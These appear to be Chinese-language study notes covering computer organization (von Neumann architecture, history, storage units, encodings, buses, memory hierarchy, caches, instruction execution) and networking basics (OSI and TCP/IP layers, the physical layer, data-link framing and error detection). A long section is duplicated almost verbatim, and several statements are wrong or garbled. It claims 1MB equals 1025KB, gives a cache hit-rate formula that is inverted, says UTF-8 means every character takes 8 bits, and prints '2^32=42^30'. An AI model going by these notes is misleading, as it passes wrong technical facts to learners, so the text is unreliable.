冯诺依曼体系:将指令和数据一起存储的计算机设计概念结构,使用通用电路设计,而不是使用专用电路,将指令存储,再将指令编译成通用电路可理解的程序 冯诺依曼体系要求具备存储器,控制器,运算器,输入/输出设备 冯诺依曼体系要求能将程序和数据发送给计算机(输入),能长期存储程序,数据,计算过程,计算结果的功能(存储器),具备算术,逻辑处理和数据传送等数据处理功能(运算器和控制器),并且能将处理结果反馈给用户(输出) 冯诺依曼瓶颈:CPU和存储器速率之间无法调和,导致CPU空转等待数据传输 现代计算机都是基于冯诺依曼体系的(解决冯诺依曼瓶颈),存储器和运算器,以及控制器整合在一起(就是CPU),CPU内部的存储器更高速(寄存器) 计算机层次和编程语言 程序编译和程序解析(计算机无法理解人类语言),需要进行语言(高级语言对低级语言)的转换 高级语言生成低级语言的过程叫程序编译,而生成的工具叫编译器 常见的编译型语言有C,C++,Golang 高级语言作为输入,低级语言接收输入,从而达到高转低的目的,这个过程叫程序解析,而这个低级语言接收的工具叫解析器,解析器必须是用低级语言编写的 常见的解析型语言有Python,PHP java是编译+解析语言,因为它会将源程序编译成JVM字节码,JVM虚拟机再将JVM字节码再解析成机器码,java的跨平台就是因为JVM虚拟机解析器 计算机的层次:硬件逻辑层,微程序机器层,传统机器层,操作系统层,汇编语言层,高级语言层,应用层 硬件逻辑层:由门电路和触发器等逻辑电路组成 微程序机器层:由微指令组成的微程序直接交给硬件执行 传统机器层:CPU指令集,不同架构CPU使用不同的CPU指令集 这3层都为机器硬件层,一个指令就是一个微程序,也是一组微指令 操作系统层:向上提供操作界面,向下对应指令系统,管理硬件(例如分配内存空间) 汇编语言层:汇编语言可以直接编译成机器语言,完成翻译的工具叫汇编器 高级语言层:高级语言 应用层:应用软件 计算机的计算单位 容量单位 在物理层次,用高低电平来记录信息(低电平为0,高电平为1,一个0/1的位被叫为bit(比特位)) 1字节(Byte)等于8bit 1Kb(千字位)等于1024字节(Byte) 1mb(兆字节)等于1025kb(千字节) 1Gb(吉字节)等于1024mb(兆字节) 1tb(太字节)等于1024gb(吉字节) 1pb(拍字节)等于1024tb(太字节) 1eb(艾字节)等于1024pb(拍字节) 1024是2的10次方 对于硬盘制造商来说,使用10进制,也就是硬盘制造商认为1000G才是1tb 因此实质硬盘容量为购买标注的容量(例如240G)乘以1000的3次方,再除于1024的3次方,得到的数就是实质硬盘的容量 原因是硬盘制造商为了记录硬盘的扇区,使用人类可理解的10进制,而不是2进制 速度单位 网络速度 网络传输数据的单位为Mbps 因此100M宽带就是指100Mbit/s,每秒传输100Mbps 100Mbit换算字节就是100/8,也就是12.5MB,因此100m宽带峰值每秒可以传输12.5mb CPU速度(CPU的时钟频率,Hz) Hz是每秒中的周期性变动重复次数的计量 例如 3.30 GHz的CPU,就是3.3*1000^3Hz,也就是每秒可以达到33亿次的高低电平变化 计算机的字符和编码集 字符编码集的历史 ASCII码:ASCII码包含95个可打印字符和33个不可打印的字符(例如控制字符),用7个bits表示一个ASCII码(95+33就是128,也就是2的7次方) 因为ASCII码无法满足需求(例如π),而推出了Extended ASCII码,由原来的7个bits变成8个bits,也就是支持256个字符 中文编码集 国标GB2312,诞生于1980年,中文名为信息交换用汉字编码字符集-基本集,GB2312收录了7445个字符(6763个汉字和682个其他字符) 因为GB2312不符合国际标准,因此推出GBK(汉字内码扩展规范),向下兼容GB2312,向上支持国际ISO标准,GBK收录了21003个汉字,支持全部中日韩汉字 为了解决全球的字符集问题,推出了Unicode(又被叫为统一码,万国码,单一码),Unicode定义的世界通用的编码集,并且使用UTF-x来对Unicode进行编码(这个x表示一个字符占多少bits,例如utf-8就是指,1个字符占了8个bits) 计算机组成 总线:解决不同设备之间的通信问题 常见的总线有: USB:全称Universal Serial Bus(通用串行总线) PCI总线(外置显卡) ISA总线 Thunderbolt总线 总线分2种,片内总线(就是芯片内部的总线,传递芯片内部的信息),系统总线(就是连接计算机外围设备的总线,负责CPU,内存,IO设备之间的信息传递) 系统总线又分为数据总线(数据总线的位数(总线宽度)一般于CPU位数相同,64位(可以一次传输64位,8个字节的数据),负责双向传输数据信息),地址总线(指定数据的内存中的地址,位数为n时,寻址范围为0到2的n次方,位数和存储单元的位数有关系),控制总线(负责传输控制信号,控制信号通过控制总线,从这一个组件传输给另一个组件(例如显卡发送控制信号给显示器),而且还可以监控设备是否就绪) 总线仲裁(解决多个设备就绪,总线的使用权分配问题) 仲裁控制器:控制设备使用总线的优先顺序 仲裁方法:链式查询(仲裁控制器连接总线的全部设备(串连),需要使用总线的设备发送仲裁,优先级高的最先允许,使用完毕,再询问下一个设备,直到没有需要,这就是链式查询),计时器定时查询(仲裁控制器使用计数器累计计数,当接收到仲裁信号后,向全部设备发送计数值,当计数值和设备编码一致时获取使用权),独立请求(每个设备都有总线独立连接仲裁器,设备都可以向仲裁控制器单独发送请求和接收请求) 输入/输出设备 常见输入/输出设备:字符输入设备(键盘),图形输入设备(鼠标,数位板,扫描仪),图像输出设备(显示器,打印机,投影仪) 输入/输出接口通用设计:允许读取数据,允许向设备发送数据,允许检测设备是否被占用,允许检查设备是否已连接,允许检查设备已启动 数据线(I/O设备与主机传输数据,单向,双向),状态线(I/O设备向主机报告的信息线,主机可以通过该线来查询设备是否已经正常连接并且已经就绪,也可以查询设备是否被其他进程占用),命令线(CPU向设备发送命令的信号线),设备选择线(主机选择I/O设备进行操作的信号线) CPU与IO设备通信:程序中断(IO设备就绪,会向CPU发生中断信号,CPU接收到中断信号后,会执行中断程序工作,会暂停当前进程的工作,转而处理该I/O设备的工作,完成后再恢复到之前进程的工作),DMA(直接存储区访问,DMA直接连接主存和设备,DMA工作期间不需要CPU参与,而是作为主存和设备的中间件,来做到IO设备的数据交换) 计算机存储器 存储器的分类 按存储介质分类,分为半导体存储器(内存,固态硬盘)和磁存储器(磁盘(机械硬盘),磁带) 按存取方式分类,分为随机存储器(RAM),串行存储器(按顺序读写),只读存储器(ROM) 缓存(CPU的寄存器),主存(内存),辅存(硬盘) 存储器的层次结构:CPU可以与主存互相访问,缓存可以和CPU互相访问,也可以和主存互相访问,主存和辅存之间互相访问 CPU和缓存,以及主存构成缓存-主存层次,而主存和辅存又构成了主存-辅存层次 局部性原理:CPU访问存储器时,存取指令和存取数据,其访问的存储单元都是聚集在一个连续区域中 缓存-主存层次是为了解决CPU速度和主存速度不匹配的,在CPU和主存之间再加一层缓存,CPU运行时,可以将数据临时存储在该缓存中,而且不需要完全依赖于主存来做数据存储媒介(主存对于CPU来说还是太慢,需要等待主存处理完毕),提高CPU的利用率 主存-辅存层次是为了解决主存容量不够的问题,在主存之外添加辅助存储器(例如硬盘) 对于超过主存的程序运行,利用局部性原理,将当前用到的数据存储到主存,还没有用到的先存储到辅存中 主存储器和辅助存储器 主存储器:内存(RAM,随机存取存储器,Random Access Memory) RAM通过电容存储数据,必须每隔一段时间刷新一次(刷新需要电存在,如果长时间没有刷新将丢失电容里的电子,从而导致数据丢失),因此掉电后,数据会在一段时间后丢失 RAM主要由半导体存储体,驱动器,译码器,读写电路,控制电路组成 CPU利用主存数据寄存器(MDR)通过数据总线来连接读写电路(来完成读写内存工作) 通过主存地址寄存器(MAR),通过地址总线来连接译码器(完成传输数据,数据存储地址工作) 操作系统的位数决定了最大寻址区域,32位操作系统最大支持4GB内存(2^32=42^30),64位操作系统最大支持2^34GB(2^64=2^342^30) 辅助存储器,例如磁盘(由盘片(可磁化的硬磁特性材料构成),读写磁头(移动磁头来读取磁道信息),磁道,扇区(磁道的一部分)组成) 磁盘调度算法:先来先服务算法,最短寻道时间优先算法,扫描算法(电梯算法),循环扫描算法 先来先服务算法:按照顺序来访问磁道的读写 最短寻道时间优先算法:优先访问离磁头最近的磁道 扫描算法(电梯算法):磁头每次只往一个方向移动,只有到达尽头时才会反方向移动(因为和电梯调度是一样的,因此又叫电梯算法) 循环扫描算法:基于扫描算法的优化版本,只向一个方向移动,到达尽头不会反方向移动,而是回到起点,继续一个方向移动 计算机高速缓存 计算机缓存的工作原理 字:指存储在一个存储单元中的二进制组合(是存储最小的单元) 字块:指存储在连续的存储单元中,也就是一个单元的一组字 如果一个字是64位,并且一个字块有n个字,存储器一共有x个字块,nx就是总字数,而nx*64就是这个存储器的总容量(bits) 字的地址:前几位表示字块的地址,后几位表示该字在字块的地址 当CPU需要的数据存在于缓存中时,往缓存获取,需要的数据不存在时,向主存获取 缓存命中率是衡量缓存的性能基础,如果每次需要的数据都在缓存时,命中率为1 缓存命中率计算公式:访问主存的次数除以访问主存的次数加访问缓存的次数的和,得到的数就是这个缓存的命中率(占访问总次数的比例) 缓存访问效率也是衡量缓存的性能基础,计算公式为访问缓存的时间除以访问主存的时间 缓存替换策略:当缓存没有数据时,需要向主存载入需要的数据,主要有4种算法,随机算法,先进先出算法(FIFO),最不经常使用算法(LFU),最近最少使用算法(LRU) 随机算法:每一次发生替换时,随机选取缓存的位置,将对应的位置替换 先进先出算法(FIFO):将缓存看成先进先出的队列,队列满后发生替换时,优先替换最先进入队列的字块 最不经常使用算法(LFU):优先替换最不经常使用的字块,需要提供空间来记录字块的使用频率 最近最少使用算法(LRU):优先替换最近一段时间内最少使用的字块(可以利用双向链表结构,保证链首是使用的字块,链尾是最不经常使用的字块,只需要将链尾去掉,将新的字块放到链首) 指令系统 机器指令由操作码和地址码组成,操作码指定指令需要完成的操作,操作码的位数决定了机器的操作种类,例如8位操作码表示有256种操作种类,地址码是指定数据或者数据的地址,根据地址码又分为三地址指令,二地址指令,以及一地址指令和零地址指令,就是指令有多少个数据地址 机器指令的操作类型:数据传输类型,算术逻辑操作类型,移位操作类型,控制指令(例如中断指令) 机器指令的寻址 指令寻址:顺序寻址,跳跃寻址 数据寻址:立即寻址,直接寻址,间接寻址(给出的地址是数据地址的地址,再根据数据地址,找到数据) 计算机的控制器 控制器是控制计算机和协调计算机的 控制器由程序计数器(存储下一条指令的地址),时序发生器(发送时序脉冲,CPU根据时序脉冲来进行工作),指令译码器(翻译操作码对应的操作,传输地址码对应的数据),寄存器(通用(暂时存放或者发送数据或者指令,也负责保存算术逻辑单元的中间结果),指令(存取计算机指令),主存地址(保存当前CPU正在访问的内存单元地址),主存数据(保存当前CPU正在读取或者写入的主存数据)),总线组成 计算机的运算器 运算器由数据缓冲器,算术逻辑单元(ALU),通用寄存器,状态字寄存器,以及总线组成 数据缓冲器分为输入缓存(暂时存放外部设备发送过来的数据)和输出缓冲(暂时存放需要发送给外部设备的数据) 算术逻辑单元(ALU)是运算器核心,可以完成算术运算(位运算,加减乘除等等) 状态字寄存器是存放运算状态的(例如进位,结果的正负,条件码,溢出等等),也可以存放运算控制信息(例如允许中断位,调试跟踪标记位等等) 计算机指令执行过程(获取指令,分析指令,执行指令) 指令执行过程的交互发生在片内总线 通过缓存获取指令,再将指令通过片内总线发送给指令寄存器,暂时存放这个指令操作码和地址码(并不知道指令的具体内容),再通过指令译码器来获取指令具体内容,指令译码器通过片内总线发送控制信号给运算器,程序计算数+1(表示轮到下一个指令执行),执行指令会先将数据存储在数据寄存器,算术逻辑单元处理数据,并且状态字寄存器记录运算的状态,指令完成后发送运算结果
计算机发展历史 1946-1957,电子管计算机,1957-1964,晶体管计算机,1964-1980,集成电路计算机,1980-至今,超大规模集成电路计算机 电子管计算机:二战时期,英国为了破译德国的无线电密文,而发明了电子管计算机,最出名的电子管计算机莫过于埃尼阿克(ENIAC),埃尼阿克是美国军方为了计算弹道而诞生的,埃尼阿克长30多米,高2.4米,宽6米,拥有18000多个电子管,70000个电阻,10000个电容,1500个续电,6000多个开关,运行耗电150千瓦,重30吨,占地1500平方英寸(140平方米),造价48万美元,运算速度每秒5000次 电子管计算机特点:集成度低,占空间大,功耗高,操作复杂(更换程序需要接线) 晶体管计算机:诞生原因是因为贝尔实验室发明晶体管,1956年诺贝尔物理奖授予贝尔实验室发明晶体管的科学家,第一台晶体管计算机TX-0诞生于MIT的林肯实验室,当时的最强晶体管计算机PDP-1具备4k内存,每秒可执行20万条指令,具备512x512显示器(也是世界第一个显示器,也因为这个计算机携带了显示器的原因,而诞生了世界第一款电子游戏,太空战争) 晶体管计算机特点:对于电子管计算机来说,集成度高,空间占据小,功耗比电子管低,运行速度快 集成电路计算机:诞生原因是因为德州仪器的工程师发明了集成电路(IC),操作系统也因为集成电路计算机的出现而诞生,当时为了解决IBM的2款集成电路计算机(7094和1401)所编写的程序无法相互兼容,IBM而推出了System/360(操作系统雏形) 超大规模集成电路计算机:芯片集成超大规模的集成电路 微型计算机发展历史:因为集成电路计算机的诞生,计算机逐渐从庞然大物变成小型,乃至微型,1971到1973年,500khz频率的微型计算机(8位),1973到1978年,高于1mhz的微型计算机(8位),1978到1985年,500mhz的微型计算机(16位),1985到2000年,高于1ghz的微型计算机(32位),2000年到至今,高于2ghz的微型计算机(64位) 摩尔定律:当价格不变的情况下,集成电路的性能,会每18至24个月提升一倍 后来因为集成电路太密集,热损耗也越来越高,无法解决,摩尔定律也因此失效 因为摩尔定律的失效,单核已到瓶颈,转而搞多核CPU,2005年,英特尔发布了奔腾系列的双核CPU,AMD也发布了速龙系列的双核CPU,2006年,英特尔发布酷睿四核CPU,至今AMD的服务器级霄龙处理器CPU可以高达64核,而且基准频率(单核频率)可以达到2Ghz以上 计算机的分类 超级计算机:功能最强,运算最快,存储容量最大的计算机,用于天气预报,海洋监测,生物制药,科学计算,航天等等需要超大运算的领域,衡量超级计算机的单位是TFlop/s(每秒一万亿次浮点计算) 著名的超级计算机有Summit,神威太湖之光,天河一号,天河二号,Sierra 天河二号位于广州大学城的中山大学校区的国家超级计算机广州中心 大型计算机:又被称为大型机,大型机面向大型商业公司,维护成本高,硬件不易扩展,IBM占据大型机的大片市场,IBM为IOE中的I(计算机提供商) 迷你计算机(服务器):目前已替代大型机,为企业主要计算顶梁柱 工作站:高端微型计算机,面向需要强性能的专业工作者(例如图形,视频) 微型计算机(个人计算机):又分为台式计算机,笔记本计算机,一体化计算机 计算机体系和结构 冯诺依曼体系:将指令和数据一起存储的计算机设计概念结构,使用通用电路设计,而不是使用专用电路,将指令存储,再将指令编译成通用电路可理解的程序 冯诺依曼体系要求具备存储器,控制器,运算器,输入/输出设备 冯诺依曼体系要求能将程序和数据发送给计算机(输入),能长期存储程序,数据,计算过程,计算结果的功能(存储器),具备算术,逻辑处理和数据传送等数据处理功能(运算器和控制器),并且能将处理结果反馈给用户(输出) 冯诺依曼瓶颈:CPU和存储器速率之间无法调和,导致CPU空转等待数据传输 现代计算机都是基于冯诺依曼体系的(解决冯诺依曼瓶颈),存储器和运算器,以及控制器整合在一起(就是CPU),CPU内部的存储器更高速(寄存器) 计算机层次和编程语言 程序编译和程序解析(计算机无法理解人类语言),需要进行语言(高级语言对低级语言)的转换 高级语言生成低级语言的过程叫程序编译,而生成的工具叫编译器 常见的编译型语言有C,C++,Golang 高级语言作为输入,低级语言接收输入,从而达到高转低的目的,这个过程叫程序解析,而这个低级语言接收的工具叫解析器,解析器必须是用低级语言编写的 常见的解析型语言有Python,PHP java是编译+解析语言,因为它会将源程序编译成JVM字节码,JVM虚拟机再将JVM字节码再解析成机器码,java的跨平台就是因为JVM虚拟机解析器 计算机的层次:硬件逻辑层,微程序机器层,传统机器层,操作系统层,汇编语言层,高级语言层,应用层 硬件逻辑层:由门电路和触发器等逻辑电路组成 微程序机器层:由微指令组成的微程序直接交给硬件执行 传统机器层:CPU指令集,不同架构CPU使用不同的CPU指令集 这3层都为机器硬件层,一个指令就是一个微程序,也是一组微指令 操作系统层:向上提供操作界面,向下对应指令系统,管理硬件(例如分配内存空间) 汇编语言层:汇编语言可以直接编译成机器语言,完成翻译的工具叫汇编器 高级语言层:高级语言 应用层:应用软件 计算机的计算单位 容量单位 在物理层次,用高低电平来记录信息(低电平为0,高电平为1,一个0/1的位被叫为bit(比特位)) 1字节(Byte)等于8bit 1Kb(千字位)等于1024字节(Byte) 1mb(兆字节)等于1025kb(千字节) 1Gb(吉字节)等于1024mb(兆字节) 1tb(太字节)等于1024gb(吉字节) 1pb(拍字节)等于1024tb(太字节) 1eb(艾字节)等于1024pb(拍字节) 1024是2的10次方 对于硬盘制造商来说,使用10进制,也就是硬盘制造商认为1000G才是1tb 因此实质硬盘容量为购买标注的容量(例如240G)乘以1000的3次方,再除于1024的3次方,得到的数就是实质硬盘的容量 原因是硬盘制造商为了记录硬盘的扇区,使用人类可理解的10进制,而不是2进制 速度单位 网络速度 网络传输数据的单位为Mbps 因此100M宽带就是指100Mbit/s,每秒传输100Mbps 100Mbit换算字节就是100/8,也就是12.5MB,因此100m宽带峰值每秒可以传输12.5mb CPU速度(CPU的时钟频率,Hz) Hz是每秒中的周期性变动重复次数的计量 例如 3.30 GHz的CPU,就是3.3*1000^3Hz,也就是每秒可以达到33亿次的高低电平变化 计算机的字符和编码集 字符编码集的历史 ASCII码:ASCII码包含95个可打印字符和33个不可打印的字符(例如控制字符),用7个bits表示一个ASCII码(95+33就是128,也就是2的7次方) 因为ASCII码无法满足需求(例如π),而推出了Extended ASCII码,由原来的7个bits变成8个bits,也就是支持256个字符 中文编码集 国标GB2312,诞生于1980年,中文名为信息交换用汉字编码字符集-基本集,GB2312收录了7445个字符(6763个汉字和682个其他字符) 因为GB2312不符合国际标准,因此推出GBK(汉字内码扩展规范),向下兼容GB2312,向上支持国际ISO标准,GBK收录了21003个汉字,支持全部中日韩汉字 为了解决全球的字符集问题,推出了Unicode(又被叫为统一码,万国码,单一码),Unicode定义的世界通用的编码集,并且使用UTF-x来对Unicode进行编码(这个x表示一个字符占多少bits,例如utf-8就是指,1个字符占了8个bits) 计算机组成 总线:解决不同设备之间的通信问题 常见的总线有: USB:全称Universal Serial Bus(通用串行总线) PCI总线(外置显卡) ISA总线 Thunderbolt总线 总线分2种,片内总线(就是芯片内部的总线,传递芯片内部的信息),系统总线(就是连接计算机外围设备的总线,负责CPU,内存,IO设备之间的信息传递) 系统总线又分为数据总线(数据总线的位数(总线宽度)一般于CPU位数相同,64位(可以一次传输64位,8个字节的数据),负责双向传输数据信息),地址总线(指定数据的内存中的地址,位数为n时,寻址范围为0到2的n次方,位数和存储单元的位数有关系),控制总线(负责传输控制信号,控制信号通过控制总线,从这一个组件传输给另一个组件(例如显卡发送控制信号给显示器),而且还可以监控设备是否就绪) 总线仲裁(解决多个设备就绪,总线的使用权分配问题) 仲裁控制器:控制设备使用总线的优先顺序 仲裁方法:链式查询(仲裁控制器连接总线的全部设备(串连),需要使用总线的设备发送仲裁,优先级高的最先允许,使用完毕,再询问下一个设备,直到没有需要,这就是链式查询),计时器定时查询(仲裁控制器使用计数器累计计数,当接收到仲裁信号后,向全部设备发送计数值,当计数值和设备编码一致时获取使用权),独立请求(每个设备都有总线独立连接仲裁器,设备都可以向仲裁控制器单独发送请求和接收请求) 输入/输出设备 常见输入/输出设备:字符输入设备(键盘),图形输入设备(鼠标,数位板,扫描仪),图像输出设备(显示器,打印机,投影仪) 输入/输出接口通用设计:允许读取数据,允许向设备发送数据,允许检测设备是否被占用,允许检查设备是否已连接,允许检查设备已启动 数据线(I/O设备与主机传输数据,单向,双向),状态线(I/O设备向主机报告的信息线,主机可以通过该线来查询设备是否已经正常连接并且已经就绪,也可以查询设备是否被其他进程占用),命令线(CPU向设备发送命令的信号线),设备选择线(主机选择I/O设备进行操作的信号线) CPU与IO设备通信:程序中断(IO设备就绪,会向CPU发生中断信号,CPU接收到中断信号后,会执行中断程序工作,会暂停当前进程的工作,转而处理该I/O设备的工作,完成后再恢复到之前进程的工作),DMA(直接存储区访问,DMA直接连接主存和设备,DMA工作期间不需要CPU参与,而是作为主存和设备的中间件,来做到IO设备的数据交换) 计算机存储器 存储器的分类 按存储介质分类,分为半导体存储器(内存,固态硬盘)和磁存储器(磁盘(机械硬盘),磁带) 按存取方式分类,分为随机存储器(RAM),串行存储器(按顺序读写),只读存储器(ROM) 缓存(CPU的寄存器),主存(内存),辅存(硬盘) 存储器的层次结构:CPU可以与主存互相访问,缓存可以和CPU互相访问,也可以和主存互相访问,主存和辅存之间互相访问 CPU和缓存,以及主存构成缓存-主存层次,而主存和辅存又构成了主存-辅存层次 局部性原理:CPU访问存储器时,存取指令和存取数据,其访问的存储单元都是聚集在一个连续区域中 缓存-主存层次是为了解决CPU速度和主存速度不匹配的,在CPU和主存之间再加一层缓存,CPU运行时,可以将数据临时存储在该缓存中,而且不需要完全依赖于主存来做数据存储媒介(主存对于CPU来说还是太慢,需要等待主存处理完毕),提高CPU的利用率 主存-辅存层次是为了解决主存容量不够的问题,在主存之外添加辅助存储器(例如硬盘) 对于超过主存的程序运行,利用局部性原理,将当前用到的数据存储到主存,还没有用到的先存储到辅存中 主存储器和辅助存储器 主存储器:内存(RAM,随机存取存储器,Random Access Memory) RAM通过电容存储数据,必须每隔一段时间刷新一次(刷新需要电存在,如果长时间没有刷新将丢失电容里的电子,从而导致数据丢失),因此掉电后,数据会在一段时间后丢失 RAM主要由半导体存储体,驱动器,译码器,读写电路,控制电路组成 CPU利用主存数据寄存器(MDR)通过数据总线来连接读写电路(来完成读写内存工作) 通过主存地址寄存器(MAR),通过地址总线来连接译码器(完成传输数据,数据存储地址工作) 操作系统的位数决定了最大寻址区域,32位操作系统最大支持4GB内存(2^32=42^30),64位操作系统最大支持2^34GB(2^64=2^342^30) 辅助存储器,例如磁盘(由盘片(可磁化的硬磁特性材料构成),读写磁头(移动磁头来读取磁道信息),磁道,扇区(磁道的一部分)组成) 磁盘调度算法:先来先服务算法,最短寻道时间优先算法,扫描算法(电梯算法),循环扫描算法 先来先服务算法:按照顺序来访问磁道的读写 最短寻道时间优先算法:优先访问离磁头最近的磁道 扫描算法(电梯算法):磁头每次只往一个方向移动,只有到达尽头时才会反方向移动(因为和电梯调度是一样的,因此又叫电梯算法) 循环扫描算法:基于扫描算法的优化版本,只向一个方向移动,到达尽头不会反方向移动,而是回到起点,继续一个方向移动 计算机高速缓存 计算机缓存的工作原理 字:指存储在一个存储单元中的二进制组合(是存储最小的单元) 字块:指存储在连续的存储单元中,也就是一个单元的一组字 如果一个字是64位,并且一个字块有n个字,存储器一共有x个字块,nx就是总字数,而nx*64就是这个存储器的总容量(bits) 字的地址:前几位表示字块的地址,后几位表示该字在字块的地址 当CPU需要的数据存在于缓存中时,往缓存获取,需要的数据不存在时,向主存获取 缓存命中率是衡量缓存的性能基础,如果每次需要的数据都在缓存时,命中率为1 缓存命中率计算公式:访问主存的次数除以访问主存的次数加访问缓存的次数的和,得到的数就是这个缓存的命中率(占访问总次数的比例) 缓存访问效率也是衡量缓存的性能基础,计算公式为访问缓存的时间除以访问主存的时间 缓存替换策略:当缓存没有数据时,需要向主存载入需要的数据,主要有4种算法,随机算法,先进先出算法(FIFO),最不经常使用算法(LFU),最近最少使用算法(LRU) 随机算法:每一次发生替换时,随机选取缓存的位置,将对应的位置替换 先进先出算法(FIFO):将缓存看成先进先出的队列,队列满后发生替换时,优先替换最先进入队列的字块 最不经常使用算法(LFU):优先替换最不经常使用的字块,需要提供空间来记录字块的使用频率 最近最少使用算法(LRU):优先替换最近一段时间内最少使用的字块(可以利用双向链表结构,保证链首是使用的字块,链尾是最不经常使用的字块,只需要将链尾去掉,将新的字块放到链首) 指令系统 机器指令由操作码和地址码组成,操作码指定指令需要完成的操作,操作码的位数决定了机器的操作种类,例如8位操作码表示有256种操作种类,地址码是指定数据或者数据的地址,根据地址码又分为三地址指令,二地址指令,以及一地址指令和零地址指令,就是指令有多少个数据地址 机器指令的操作类型:数据传输类型,算术逻辑操作类型,移位操作类型,控制指令(例如中断指令) 机器指令的寻址 指令寻址:顺序寻址,跳跃寻址 数据寻址:立即寻址,直接寻址,间接寻址(给出的地址是数据地址的地址,再根据数据地址,找到数据) 计算机的控制器 控制器是控制计算机和协调计算机的 控制器由程序计数器(存储下一条指令的地址),时序发生器(发送时序脉冲,CPU根据时序脉冲来进行工作),指令译码器(翻译操作码对应的操作,传输地址码对应的数据),寄存器(通用(暂时存放或者发送数据或者指令,也负责保存算术逻辑单元的中间结果),指令(存取计算机指令),主存地址(保存当前CPU正在访问的内存单元地址),主存数据(保存当前CPU正在读取或者写入的主存数据)),总线组成 计算机的运算器 运算器由数据缓冲器,算术逻辑单元(ALU),通用寄存器,状态字寄存器,以及总线组成 数据缓冲器分为输入缓存(暂时存放外部设备发送过来的数据)和输出缓冲(暂时存放需要发送给外部设备的数据) 算术逻辑单元(ALU)是运算器核心,可以完成算术运算(位运算,加减乘除等等) 状态字寄存器是存放运算状态的(例如进位,结果的正负,条件码,溢出等等),也可以存放运算控制信息(例如允许中断位,调试跟踪标记位等等) 计算机指令执行过程(获取指令,分析指令,执行指令) 指令执行过程的交互发生在片内总线 通过缓存获取指令,再将指令通过片内总线发送给指令寄存器,暂时存放这个指令操作码和地址码(并不知道指令的具体内容),再通过指令译码器来获取指令具体内容,指令译码器通过片内总线发送控制信号给运算器,程序计算数+1(表示轮到下一个指令执行),执行指令会先将数据存储在数据寄存器,算术逻辑单元处理数据,并且状态字寄存器记录运算的状态,指令完成后发送运算结果
计算机网络是通用,可编程的硬件组成的,并且这些设备可互连,并且可以传输不同类型的数据 计算机网络不是只有软件概念,还有硬件设备,例如:网卡,网线,路由器等等 网络作用范围:广域网(WAN),城域网(MAN),局域网(LAN) 计算机网络发展历史 ARPANET(1969年,美国国防部创建的单个网络) 三层结构互联网(现代互联网雏形,当时主要用于连接美国学校,实验室的计算机,主干网,地区网,校园网) 多层次ISP互联网(ISP指网络服务提供商(Internet Service Provider),常见网络服务提供商有中国移动,中国电信,中国联通等等) 多层次ISP互联网,分主干ISP(主要跨国通信),地区ISP(主要局部地区通信,例如广东移动,北京电信等等) 中国创建了多个公共互联网,例如:中国电信互联网(CHINANET),中国移动互联网(CMNET),中国联通互联网(UNINET),中国教育与科研计算机网(CERNET),中国科学技术网(CSTNET)等等 计算机网络层次结构(确保数据通信顺通,识别目标计算机的状态,数据是否存在错误) 层次结构大概分3个,网络应用,数据通信,物理网络 层次细分的话,有七层,也就是OSI七层模型(OSI国际标准定义的),而且每个层都是独立的(不干预其他层),只完成不同的工作 OSI七层模型:应用层(为计算机提供服务),表示层(数据处理),会话层(管理通信会话),传输层(管理通信连接),网络层(数据路由),数据链路层(管理节点之间的数据通信,例如传输数据到另一个局域网),物理层(计算机物理设备) OSI七层模型并没有成为广泛使用的标准,而是采用TCP/IP四层模型 TCP/IP四层模型:应用层(对于OSI七层模型的应用,表示,会话,HTTP协议),传输层(OSI七层模型的传输层,TCP/UDP协议),(OSI七层模型的网络层,IP/ICMP协议)网络层,(数据链路层和物理层,ARP/RARP协议)网络接口层 计算机网络性能指标 bps=bit/s,1秒多少比特位,比特率 时延:发送时延(数据bit除以bps),排队时延(数据等待被网络设备处理的时间),处理时延(数据到达目标机器后处理需要的时间),传输时延(传输路径除以bps) 总时延 = 发送时延+排队时延+传输时延+处理时延 往返时间RTT(Route-Trip Time):数据报文在通信中来回一次的时间(可通过ping命令来查看RTT) 物理层(连接不同的物理设备,传输比特流) 物理层传输介质:双绞线(又分屏蔽和无屏蔽,区别就是增加了一层屏蔽层),同轴电缆,光纤(通过光传输,光纤内部是具有高折射率的纤芯,能折射光) 电缆使用铜作为传输介质,光纤通过光来作为传输介质 铜线中的电信号传播速度大约为2.3*10^8m/s 光纤中光信号的传播速度是2.0*10^8m/s 因此实质上电缆的传播速度比光纤快,因为光纤是利用光的反射来传输到远方的,实质光走的距离更长 但是电缆的铜在远距离的情况下,会导致衰减(主要有2个原因导致,介质损耗(通过电磁波传导,会在介质中产生电场的电荷规则排序,这会消耗能量)和导线损耗),需要通过中继器来延续信号 因此在跨市,跨城,跨省,跨国使用都是光纤(光纤的带宽比电缆好,也是一个原因),但是短距离,得益于电缆的传播速度,会更好,因此局域网内部大多使用电缆来传输(因为解析光信号,还需要个光信号调制调解器,计算机无法直接使用光纤传输的数据) 比特流:通过高低电平来表示比特流,来传输数据 信道(往一个方向传输信息的媒体,一个通信电路最少要有一个发送信道和接收信道) 信道的分类:单工通信信道(只能往一个方向通信的信道,没有反馈的信道,例如电视机的电视闭路线),半双工通信信道(可以发送和接收信息,但是不能同时发送,同时接收),全双工通信信道(可以同时发送,同时接收) 物理层会实现信道分用复用技术(提升信道的利用率) 频分复用,时分复用,波分复用,码分复用 数据链路层(封装成帧,透明传输,差错监测) 数据帧:数据链路层中数据的基本单位,数据发送方会在网络层的一段数据的前后添加特定标记,而这一段数据就是数据帧,数据接收方根据特定标记来识别数据帧,是数据链路层内部数据处理成帧 数据帧也分MAC帧(没有帧尾,因为MAC帧之间是96比特时间,帧头也是没有的,而是让物理层给MAC帧添加8bts的前导码),PPP帧(有帧头和帧尾,帧头到帧尾就是这个帧的长度) 封装成帧:数据链路层会将网络层交付的数据报文添加帧头和帧尾,让其成为帧 帧头和帧尾都是特定的控制字符(比特流),帧头(SOH):00000001,帧尾(EOT):00000100 透明传输:数据链路层对网络层提供的数据没有限制(控制字符在帧数据中,但是不会去当成数据去处理,就好像帧头和帧尾不存在一样) 字节填充(对数据内部的数据填充ESC转义字符),比特填充(零比特填充法:在每5个连续的1后面插入比特0) 数据链路层规定了帧的数据的长度限制,就是最大传输单元MTU(Maximun Transfer Unit) 以太网的MTU(MAC帧)是1500字节 路径MTU:由链路中MTU的最小值决定 差错监测:因为物理层只负责传输比特流,没有控制出错的功能,因此数据链路层提供了差错监测的功能 奇偶校验码:在发送的每个字节后加上一位,让字节中为1的数可以是奇数或者偶数,通过奇偶校验来确定数据是否出错,具体可以看https://xiaochenabc123.test.com/archives/77.html这篇文章,讲TCP的可靠性那里 奇偶校验码的缺点就是如果发生2位的出错,就无法校验出来错误 循环冗余校验码CRC(根据传输或者保存的数据来产生固定位数的校验码,校验码再附加到数据的后面) 